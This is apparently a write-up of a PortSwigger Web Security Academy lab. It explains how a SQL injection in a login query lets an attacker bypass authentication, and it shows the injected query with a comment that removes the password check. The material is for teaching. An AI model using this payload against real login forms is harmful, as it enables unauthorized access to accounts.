SQL injection vulnerability allowing login bypass
SQL injection vulnerability allowing login bypass
Platform: PortSwigger | Category: SQL_injection | Type: Lab | Difficulty: N/A | OS: N/A | Author: XESXOR | Date: 2026-08-24 | Status: Solved Techniques: Web Security Academy, SQL_injection
Summary
Walkthrough of the PortSwigger Web Security Academy lab SQL injection vulnerability allowing login bypass (SQL_injection). This lab demonstrates a sql_injection vulnerability and its exploitation to achieve the lab objectives.
Lab Overview
PortSwigger Web Security Academy — SQL_injection
This writeup is part of the XESXOR PortSwigger collection. The original lab description and solution have been preserved and reformatted for clarity.
Lab Description :

Solution :


Query made -
sql read-only • copy allowedSELECT * FROM users WHERE username = 'administrator' AND password = 'password'
To bypass the login, we need to comment out the password part in WHERE clause.
sql read-only • copy allowedSELECT * FROM users WHERE username = 'administrator'--' AND password = 'bluecheese'

Key Takeaways / Lessons
- Understanding SQL_injection detection and exploitation is crucial for web security.
- Always validate and sanitize user input; implement proper access controls.
- This lab is part of the PortSwigger Web Security Academy — practice in a safe, legal environment.
Crafted by XESXOR Research • 2026-08-24 • PortSwigger Web Security Academy • Lab: SQL injection vulnerability allowing login bypass